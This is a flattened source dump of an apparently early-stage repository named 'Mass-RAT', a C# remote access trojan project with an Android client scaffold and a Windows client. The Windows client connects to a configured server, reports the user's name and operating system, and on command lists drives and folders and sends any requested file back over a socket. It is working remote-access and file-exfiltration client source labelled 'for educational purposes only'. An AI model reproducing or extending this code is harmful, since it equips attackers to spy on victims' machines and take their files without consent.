directly. 5 | 6 | For example, a sample Android app that contains a user interface layout (main.xml), 7 | an internationalization string table (strings.xml) and some icons (drawable-XXX/icon.png) 8 | would keep its resources in the "Resources" directory of the application: 9 | 10 | Resources/ 11 | drawable/ 12 | icon.png 13 | 14 | layout/ 15 | main.xml 16 | 17 | values/ 18 | strings.xml 19 | 20 | In order to get the build system to recognize Android resources, set the build action to 21 | "AndroidResource". The native Android APIs do not operate directly with filenames, but 22 | instead operate on resource IDs. When you compile an Android application that uses resources, 23 | the build system will package the resources for distribution and generate a class called "R" 24 | (this is an Android convention) that contains the tokens for each one of the resources 25 | included. For example, for the above Resources layout, this is what the R class would expose: 26 | 27 | public class R { 28 | public class drawable { 29 | public const int icon = 0x123; 30 | } 31 | 32 | public class layout { 33 | public const int main = 0x456; 34 | } 35 | 36 | public class strings { 37 | public const int first_string = 0xabc; 38 | public const int second_string = 0xbcd; 39 | } 40 | } 41 | 42 | You would then use R.drawable.icon to reference the drawable/icon.png file, or R.layout.main 43 | to reference the layout/main.xml file, or R.strings.first_string to reference the first 44 | string in the dictionary file values/strings.xml. -------------------------------------------------------------------------------- /ClientAndroid/Resources/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 12 | 13 | -------------------------------------------------------------------------------- /ClientAndroid/Resources/mipmap-anydpi-v26/ic_launcher.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /ClientAndroid/Resources/mipmap-anydpi-v26/ic_launcher_round.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /ClientAndroid/Resources/mipmap-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/Mass-RAT/5cc5673b5738597241d1201ce617b6950566690d/ClientAndroid/Resources/mipmap-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /ClientAndroid/Resources/mipmap-hdpi/ic_launcher_foreground.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/Mass-RAT/5cc5673b5738597241d1201ce617b6950566690d/ClientAndroid/Resources/mipmap-hdpi/ic_launcher_foreground.png -------------------------------------------------------------------------------- /ClientAndroid/Resources/mipmap-hdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/Mass-RAT/5cc5673b5738597241d1201ce617b6950566690d/ClientAndroid/Resources/mipmap-hdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /ClientAndroid/Resources/mipmap-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/Mass-RAT/5cc5673b5738597241d1201ce617b6950566690d/ClientAndroid/Resources/mipmap-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /ClientAndroid/Resources/mipmap-mdpi/ic_launcher_foreground.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/Mass-RAT/5cc5673b5738597241d1201ce617b6950566690d/ClientAndroid/Resources/mipmap-mdpi/ic_launcher_foreground.png -------------------------------------------------------------------------------- /ClientAndroid/Resources/mipmap-mdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/Mass-RAT/5cc5673b5738597241d1201ce617b6950566690d/ClientAndroid/Resources/mipmap-mdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /ClientAndroid/Resources/mipmap-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/Mass-RAT/5cc5673b5738597241d1201ce617b6950566690d/ClientAndroid/Resources/mipmap-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /ClientAndroid/Resources/mipmap-xhdpi/ic_launcher_foreground.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/Mass-RAT/5cc5673b5738597241d1201ce617b6950566690d/ClientAndroid/Resources/mipmap-xhdpi/ic_launcher_foreground.png -------------------------------------------------------------------------------- /ClientAndroid/Resources/mipmap-xhdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/Mass-RAT/5cc5673b5738597241d1201ce617b6950566690d/ClientAndroid/Resources/mipmap-xhdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /ClientAndroid/Resources/mipmap-xxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/Mass-RAT/5cc5673b5738597241d1201ce617b6950566690d/ClientAndroid/Resources/mipmap-xxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /ClientAndroid/Resources/mipmap-xxhdpi/ic_launcher_foreground.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/Mass-RAT/5cc5673b5738597241d1201ce617b6950566690d/ClientAndroid/Resources/mipmap-xxhdpi/ic_launcher_foreground.png -------------------------------------------------------------------------------- /ClientAndroid/Resources/mipmap-xxhdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/Mass-RAT/5cc5673b5738597241d1201ce617b6950566690d/ClientAndroid/Resources/mipmap-xxhdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /ClientAndroid/Resources/mipmap-xxxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/Mass-RAT/5cc5673b5738597241d1201ce617b6950566690d/ClientAndroid/Resources/mipmap-xxxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /ClientAndroid/Resources/mipmap-xxxhdpi/ic_launcher_foreground.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/Mass-RAT/5cc5673b5738597241d1201ce617b6950566690d/ClientAndroid/Resources/mipmap-xxxhdpi/ic_launcher_foreground.png -------------------------------------------------------------------------------- /ClientAndroid/Resources/mipmap-xxxhdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/Mass-RAT/5cc5673b5738597241d1201ce617b6950566690d/ClientAndroid/Resources/mipmap-xxxhdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /ClientAndroid/Resources/values/colors.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | #2c3e50 4 | #1B3147 5 | #3498db 6 | 7 | -------------------------------------------------------------------------------- /ClientAndroid/Resources/values/ic_launcher_background.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | #2C3E50 4 | -------------------------------------------------------------------------------- /ClientAndroid/Resources/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | AndroidApp 3 | Settings 4 | 5 | -------------------------------------------------------------------------------- /ClientAndroid/Resources/values/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /ClientWindows/ClientWindows.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | Debug 7 | AnyCPU 8 | {6C43A753-9565-48B2-A372-4210BB1E0D75} 9 | WinExe 10 | ClientWindows 11 | ClientWindows 12 | v4.0 13 | 512 14 | true 15 | 16 | 17 | 18 | 19 | AnyCPU 20 | true 21 | full 22 | false 23 | bin\Debug\ 24 | DEBUG;TRACE 25 | prompt 26 | 4 27 | 28 | 29 | AnyCPU 30 | none 31 | true 32 | bin\Release\ 33 | 34 | 35 | prompt 36 | 4 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | {4CB9BBEE-FB92-44FA-A427-B7245BEFC2F3} 65 | SharedLibraries 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 75 | 76 | 77 | 78 | 79 | 80 | -------------------------------------------------------------------------------- /ClientWindows/ILMerge.props: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | true 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /ClientWindows/ILMergeOrder.txt: -------------------------------------------------------------------------------- 1 | # this file contains the partial list of the merged assemblies in the merge order 2 | # you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build 3 | # and finetune merge order to your satisfaction 4 | 5 | -------------------------------------------------------------------------------- /ClientWindows/Networking/ClientSocket.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.IO; 4 | using System.Net.Sockets; 5 | using System.Threading; 6 | using ClientWindows.PacketHandler; 7 | using ClientWindows.Settings; 8 | using Microsoft.VisualBasic.Devices; 9 | using SharedLibraries.Packet.Commands; 10 | using SharedLibraries.Packet.Enums; 11 | using SharedLibraries.Packet.Interfaces; 12 | using SharedLibraries.Packet.Serialization; 13 | 14 | 15 | namespace ClientWindows.Networking 16 | { 17 | public static class ClientSocket 18 | { 19 | /// 20 | /// The socket used for communication. 21 | /// 22 | public static Socket Socket { get; private set; } 23 | 24 | /// 25 | /// send a ping to check if other socket is alive or not every x second 26 | /// 27 | private static Timer KeepAlivePacket; 28 | 29 | /// 30 | /// determinate the socket status 31 | /// 32 | public static bool IsConnected { get; private set; } 33 | 34 | /// 35 | /// sync send 36 | /// 37 | private static readonly object LockSend = new object(); 38 | 39 | /// 40 | /// Read incoming headers 41 | /// 42 | public static void ReceiveHeader() 43 | { 44 | while (true) 45 | { 46 | while (IsConnected) 47 | { 48 | try 49 | { 50 | byte[] header = ReceiveData(4); 51 | if (header.Length != 4) 52 | { 53 | IsConnected = false; 54 | break; 55 | } 56 | else 57 | { 58 | int packetSize = BitConverter.ToInt32(header, 0); 59 | if (packetSize > 0) 60 | { 61 | Debug.WriteLine($"Client: packet size is {packetSize}"); 62 | byte[] payload = ReceiveData(packetSize); 63 | if (payload.Length != packetSize) 64 | { 65 | IsConnected = false; 66 | break; 67 | } 68 | else 69 | { 70 | IPacket packet = Desirialize.PacketDesirialize(payload); 71 | Debug.WriteLine($"Client: packet received is {packet.GetType().Name}"); 72 | new Thread(delegate () 73 | { 74 | new ReadPacket(packet); 75 | }).Start(); 76 | } 77 | } 78 | } 79 | } 80 | catch (SocketException se) 81 | { 82 | Debug.WriteLine(se.SocketErrorCode); 83 | IsConnected = false; 84 | break; 85 | } 86 | catch (Exception ex) 87 | { 88 | Debug.WriteLine(ex.Message); 89 | IsConnected = false; 90 | break; 91 | } 92 | } 93 | 94 | while (!IsConnected) 95 | { 96 | try 97 | { 98 | Thread.Sleep(2000); 99 | 100 | Socket?.Dispose(); 101 | KeepAlivePacket?.Dispose(); 102 | 103 | Socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) 104 | { 105 | ReceiveBufferSize = 50 * 1000, 106 | SendBufferSize = 50 * 1000, 107 | }; 108 | Socket.Connect(Configuration.Host, Configuration.Port); 109 | IsConnected = true; 110 | 111 | Send(new PacketIdentification() 112 | { 113 | Type = ClientType.PC, 114 | Username = Environment.UserName, 115 | OperatingSystem = new ComputerInfo().OSFullName, 116 | ID = Configuration.Id, 117 | }); 118 | KeepAlivePacket = new Timer(Ping, null, new Random().Next(5000, 30000), new Random().Next(5000, 30000)); //random interval 119 | } 120 | catch (SocketException se) 121 | { 122 | Debug.WriteLine(se.SocketErrorCode); 123 | } 124 | catch (Exception ex) 125 | { 126 | Debug.WriteLine(ex.Message); 127 | } 128 | } 129 | 130 | } 131 | } 132 | 133 | /// 134 | /// Read incoming packets | Synchronous 135 | /// docs.microsoft.com/en-us/dotnet/api/system.net.sockets.socket.receive?view=netframework-4.8 136 | /// 137 | /// size of incoming payload 138 | /// full payload as byte array 139 | private static byte[] ReceiveData(int size) 140 | { 141 | try 142 | { 143 | Socket.ReceiveBufferSize = size; 144 | byte[] data = new byte[size]; 145 | int offset = 0; 146 | 147 | while (size > 0) 148 | { 149 | int received = Socket.Receive(data, offset, size, SocketFlags.None); 150 | 151 | if (received <= 0) 152 | return new byte[0]; 153 | 154 | offset += received; 155 | size -= received; 156 | //Debug.WriteLine($"Client: received[{received}] offset[{offset}] size[{size}]"); 157 | } 158 | return data; 159 | } 160 | catch (SocketException se) 161 | { 162 | Debug.WriteLine(se.SocketErrorCode); 163 | } 164 | catch (Exception ex) 165 | { 166 | Debug.WriteLine(ex.Message); 167 | } 168 | return new byte[0]; 169 | } 170 | 171 | /// 172 | /// Send packet 173 | /// docs.microsoft.com/en-us/dotnet/api/system.net.sockets.socket.send?view=netframework-4.5 174 | /// 175 | /// payload to be sent 176 | public static void Send(IPacket packet) 177 | { 178 | lock (LockSend) 179 | { 180 | try 181 | { 182 | if (!Socket.Connected || !IsConnected || packet == null) 183 | { 184 | IsConnected = false; 185 | return; 186 | } 187 | else 188 | { 189 | byte[] buffer = Serialize.PacketSerialize(packet); 190 | byte[] bufferSize = BitConverter.GetBytes(buffer.Length); // convert to 4 bytes Length 191 | Debug.WriteLine($"Client: Sending {buffer.Length}"); 192 | 193 | Socket.Poll(-1, SelectMode.SelectWrite); 194 | Socket.Send(bufferSize, 0, bufferSize.Length, SocketFlags.None); // send the 4 bytes first 195 | using (MemoryStream memoryStream = new MemoryStream(buffer)) 196 | { 197 | int read = 0; 198 | memoryStream.Position = 0; 199 | byte[] chunk = new byte[5000]; 200 | while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) 201 | { 202 | Socket.Poll(-1, SelectMode.SelectWrite); 203 | int sent = Socket.Send(chunk, 0, read, SocketFlags.None); 204 | Debug.WriteLine($"Client: Sent {sent}"); 205 | } 206 | } 207 | } 208 | } 209 | catch (SocketException se) 210 | { 211 | Debug.WriteLine(se.SocketErrorCode); 212 | IsConnected = false; 213 | } 214 | catch (Exception ex) 215 | { 216 | Debug.WriteLine(ex.Message); 217 | IsConnected = false; 218 | } 219 | } 220 | } 221 | 222 | private static void Ping(object o) 223 | { 224 | Send(new PacketKeepAlive()); // useful to send current active window 225 | GC.Collect(); 226 | } 227 | } 228 | } 229 | -------------------------------------------------------------------------------- /ClientWindows/PacketHandler/HandleFileManager.cs: -------------------------------------------------------------------------------- 1 | using ClientWindows.Networking; 2 | using ClientWindows.Settings; 3 | using SharedLibraries.Helper; 4 | using SharedLibraries.Packet.Commands; 5 | using SharedLibraries.Packet.Interfaces; 6 | using SharedLibraries.Packet.Serialization; 7 | using System; 8 | using System.Collections.Generic; 9 | using System.Diagnostics; 10 | using System.Drawing; 11 | using System.Drawing.Imaging; 12 | using System.IO; 13 | using System.Net.Sockets; 14 | using System.Threading; 15 | 16 | namespace ClientWindows.PacketHandler 17 | { 18 | public class HandleFileManager 19 | { 20 | /// 21 | /// get all ready drivers and send them back to file manager form 22 | /// 23 | public void GetDrivers() 24 | { 25 | // a new list to store all drivers 26 | PacketFileManager_GetDrivers packetDrivers = new PacketFileManager_GetDrivers { ListDrivers = new List() }; 27 | foreach (DriveInfo driver in DriveInfo.GetDrives()) 28 | { 29 | if (driver.IsReady) 30 | { 31 | packetDrivers.ListDrivers.Add(new PacketFileManager_DriverPacket 32 | { 33 | Name = driver.Name, 34 | Type = driver.DriveType.ToString(), 35 | Size = $"{Convertor.IntegerToUnitData(driver.AvailableFreeSpace)} free of {Convertor.IntegerToUnitData(driver.TotalSize)}", 36 | }); 37 | } 38 | } 39 | ClientSocket.Send(packetDrivers); 40 | } 41 | 42 | /// 43 | /// Get all files and folder and send them back to file manager form 44 | /// 45 | /// the path to get files and folder 'packet.Path' 46 | public void GetPath(PacketFileManager_GetPath packet) 47 | { 48 | try 49 | { 50 | // two new list to add files and folders 51 | PacketFileManager_GetPath packetGetPath = new PacketFileManager_GetPath 52 | { 53 | Path = packet.Path, 54 | ListFiles = new List(), 55 | ListFolders = new List(), 56 | }; 57 | 58 | foreach (DirectoryInfo folder in new DirectoryInfo(packet.Path).GetDirectories()) 59 | { 60 | packetGetPath.ListFolders.Add(new PacketFileManager_FolderPacket 61 | { 62 | FullPath = folder.FullName, 63 | Name = folder.Name, 64 | DateCreation = folder.CreationTime.ToUniversalTime(), 65 | }); 66 | } 67 | 68 | foreach (FileInfo file in new DirectoryInfo(packet.Path).GetFiles()) 69 | { 70 | packetGetPath.ListFiles.Add(new PacketFileManager_FilePacket 71 | { 72 | FullPath = file.FullName, 73 | Name = file.Name, 74 | Icon = GetIcon(file.FullName), 75 | Size = Convertor.IntegerToUnitData(file.Length), 76 | DateCreation = file.CreationTime.ToUniversalTime(), 77 | }); 78 | } 79 | ClientSocket.Send(packetGetPath); 80 | } 81 | catch (Exception ex) 82 | { 83 | ClientSocket.Send(new PacketFileManager_GetPath { Error = ex.Message }); 84 | } 85 | } 86 | 87 | /// 88 | /// extract icons from any file 89 | /// if the file is an image, it will resized as thumbnail 90 | /// 91 | /// 92 | /// image converted to byte[] 93 | private byte[] GetIcon(string file) 94 | { 95 | using (MemoryStream stream = new MemoryStream()) 96 | { 97 | try 98 | { 99 | // images 100 | if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") || file.EndsWith("bmp") || file.EndsWith("wmf") || file.EndsWith("tiff")) 101 | { 102 | using (Bitmap originalBitmap = new Bitmap(file)) 103 | using (Bitmap ResizedBitmap = new Bitmap(originalBitmap, new Size(48, 48))) 104 | { 105 | if (file.EndsWith("jpg") || file.EndsWith("jpeg")) 106 | ResizedBitmap.Save(stream, ImageFormat.Jpeg); 107 | 108 | else if (file.EndsWith("png")) 109 | ResizedBitmap.Save(stream, ImageFormat.Png); 110 | 111 | else if (file.EndsWith("gif")) 112 | ResizedBitmap.Save(stream, ImageFormat.Gif); 113 | 114 | else if (file.EndsWith("png")) 115 | ResizedBitmap.Save(stream, ImageFormat.Png); 116 | 117 | else if (file.EndsWith("bmp")) 118 | ResizedBitmap.Save(stream, ImageFormat.Bmp); 119 | 120 | else if (file.EndsWith("wmf")) 121 | ResizedBitmap.Save(stream, ImageFormat.Wmf); 122 | 123 | else if (file.EndsWith("tiff")) 124 | ResizedBitmap.Save(stream, ImageFormat.Tiff); 125 | } 126 | } 127 | // system icon 128 | else 129 | using (Icon icon = Icon.ExtractAssociatedIcon(file)) 130 | { 131 | icon.ToBitmap().Save(stream, ImageFormat.Png); 132 | } 133 | return stream.ToArray(); 134 | } 135 | catch 136 | { 137 | using (Bitmap bitmap = new Bitmap(48, 48)) 138 | { 139 | bitmap.Save(stream, ImageFormat.Png); 140 | return stream.ToArray(); 141 | } 142 | } 143 | } 144 | } 145 | 146 | public void DownloadFile(PacketFileManager_DownloadFile packet) 147 | { 148 | FileInfo fileInfo = new FileInfo(packet.FullPath); 149 | if (fileInfo.Exists) 150 | { 151 | Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); 152 | try 153 | { 154 | socket.Connect(Configuration.Host, Configuration.Port); 155 | socket.SendBufferSize = 50 * 1000; 156 | if (socket.Connected) 157 | { 158 | string fileId = Guid.NewGuid().ToString(); 159 | SendSocket(new PacketFileManager_DownloadFile 160 | { 161 | FullPath = packet.FullPath, 162 | SocketId = Configuration.Id, 163 | Size = fileInfo.Length, 164 | FileId = fileId, 165 | }, socket); 166 | 167 | SendSocket(new PacketFileManager_DownloadFile 168 | { 169 | ByteArray = File.ReadAllBytes(packet.FullPath), 170 | FullPath = packet.FullPath, 171 | SocketId = Configuration.Id, 172 | FileId = fileId, 173 | }, socket); 174 | 175 | } 176 | } 177 | catch (Exception ex) 178 | { 179 | Console.WriteLine(ex.Message); 180 | socket.Dispose(); 181 | } 182 | } 183 | } 184 | 185 | private void SendSocket(IPacket packet, Socket socket) 186 | { 187 | try 188 | { 189 | byte[] buffer = Serialize.PacketSerialize(packet); 190 | byte[] bufferSize = BitConverter.GetBytes(buffer.Length); 191 | Debug.WriteLine($"DownloadFile: Sending {buffer.Length}"); 192 | 193 | socket.Poll(-1, SelectMode.SelectWrite); 194 | socket.Send(bufferSize, 0, bufferSize.Length, SocketFlags.None); 195 | 196 | using (MemoryStream memoryStream = new MemoryStream(buffer)) 197 | { 198 | int read = 0; 199 | memoryStream.Position = 0; 200 | byte[] chunk = new byte[150 * 1000]; 201 | while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) 202 | { 203 | socket.Poll(-1, SelectMode.SelectWrite); 204 | int sent = socket.Send(chunk, 0, read, SocketFlags.None); 205 | Debug.WriteLine($"DownloadFile: Sent {sent}"); 206 | } 207 | } 208 | } 209 | catch (Exception ex) 210 | { 211 | Console.WriteLine(ex.Message); 212 | return; 213 | } 214 | } 215 | } 216 | } 217 | -------------------------------------------------------------------------------- /ClientWindows/PacketHandler/ReadPacket.cs: -------------------------------------------------------------------------------- 1 | using ClientWindows.Networking; 2 | using SharedLibraries.Packet.Commands; 3 | using SharedLibraries.Packet.Interfaces; 4 | 5 | namespace ClientWindows.PacketHandler 6 | { 7 | public class ReadPacket 8 | { 9 | public ReadPacket(IPacket packet) 10 | { 11 | switch (packet) 12 | { 13 | case PacketFileManager_GetPath _packet: 14 | { 15 | new HandleFileManager().GetPath(_packet); 16 | break; 17 | } 18 | 19 | case PacketFileManager_GetDrivers _packet: 20 | { 21 | new HandleFileManager().GetDrivers(); 22 | break; 23 | } 24 | 25 | case PacketFileManager_DownloadFile _packet: 26 | { 27 | new HandleFileManager().DownloadFile(_packet); 28 | break; 29 | } 30 | } 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /ClientWindows/Program.cs: -------------------------------------------------------------------------------- 1 | using ClientWindows.Networking; 2 | using System.Threading; 3 | 4 | namespace ClientWindows 5 | { 6 | /* 7 | │ Author : NYAN CAT 8 | │ Name : Simple C# Tcp Socket Example 9 | │ Contact Me : github.com/NYAN-x-CAT 10 | 11 | This program is distributed for educational purposes only. 12 | */ 13 | 14 | class Program 15 | { 16 | static void Main() 17 | { 18 | new Thread(delegate () 19 | { 20 | ClientSocket.ReceiveHeader(); 21 | }).Start(); 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /ClientWindows/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("ClientWindows")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("ClientWindows")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("6c43a753-9565-48b2-a372-4210bb1e0d75")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /ClientWindows/Settings/Configuration.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace ClientWindows.Settings 7 | { 8 | public static class Configuration 9 | { 10 | public static string Host = "127.0.0.1"; 11 | public static int Port = 5505; 12 | public static readonly string Id = Guid.NewGuid().ToString(); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /ClientWindows/app.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 52 | 53 | 54 | true 55 | 56 | 57 | 58 | 59 | 73 | 74 | 75 | -------------------------------------------------------------------------------- /ClientWindows/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 NYAN CAT 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Mass-RAT.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29411.108 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server\Server.csproj", "{92BA2A7E-C198-4D43-929E-1CFE54B64D95}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ClientWindows", "ClientWindows\ClientWindows.csproj", "{6C43A753-9565-48B2-A372-4210BB1E0D75}" 9 | EndProject 10 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharedLibraries", "SharedLibraries\SharedLibraries.csproj", "{4CB9BBEE-FB92-44FA-A427-B7245BEFC2F3}" 11 | EndProject 12 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ClientAndroid", "ClientAndroid\ClientAndroid.csproj", "{B27784AA-F33E-4F25-975D-0D6A4A4DFD37}" 13 | EndProject 14 | Global 15 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 16 | Debug|Any CPU = Debug|Any CPU 17 | Release|Any CPU = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 20 | {92BA2A7E-C198-4D43-929E-1CFE54B64D95}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 21 | {92BA2A7E-C198-4D43-929E-1CFE54B64D95}.Debug|Any CPU.Build.0 = Debug|Any CPU 22 | {92BA2A7E-C198-4D43-929E-1CFE54B64D95}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {92BA2A7E-C198-4D43-929E-1CFE54B64D95}.Release|Any CPU.Build.0 = Release|Any CPU 24 | {6C43A753-9565-48B2-A372-4210BB1E0D75}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 25 | {6C43A753-9565-48B2-A372-4210BB1E0D75}.Debug|Any CPU.Build.0 = Debug|Any CPU 26 | {6C43A753-9565-48B2-A372-4210BB1E0D75}.Release|Any CPU.ActiveCfg = Release|Any CPU 27 | {6C43A753-9565-48B2-A372-4210BB1E0D75}.Release|Any CPU.Build.0 = Release|Any CPU 28 | {4CB9BBEE-FB92-44FA-A427-B7245BEFC2F3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 29 | {4CB9BBEE-FB92-44FA-A427-B7245BEFC2F3}.Debug|Any CPU.Build.0 = Debug|Any CPU 30 | {4CB9BBEE-FB92-44FA-A427-B7245BEFC2F3}.Release|Any CPU.ActiveCfg = Release|Any CPU 31 | {4CB9BBEE-FB92-44FA-A427-B7245BEFC2F3}.Release|Any CPU.Build.0 = Release|Any CPU 32 | {B27784AA-F33E-4F25-975D-0D6A4A4DFD37}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 33 | {B27784AA-F33E-4F25-975D-0D6A4A4DFD37}.Debug|Any CPU.Build.0 = Debug|Any CPU 34 | {B27784AA-F33E-4F25-975D-0D6A4A4DFD37}.Debug|Any CPU.Deploy.0 = Debug|Any CPU 35 | {B27784AA-F33E-4F25-975D-0D6A4A4DFD37}.Release|Any CPU.ActiveCfg = Release|Any CPU 36 | {B27784AA-F33E-4F25-975D-0D6A4A4DFD37}.Release|Any CPU.Build.0 = Release|Any CPU 37 | {B27784AA-F33E-4F25-975D-0D6A4A4DFD37}.Release|Any CPU.Deploy.0 = Release|Any CPU 38 | EndGlobalSection 39 | 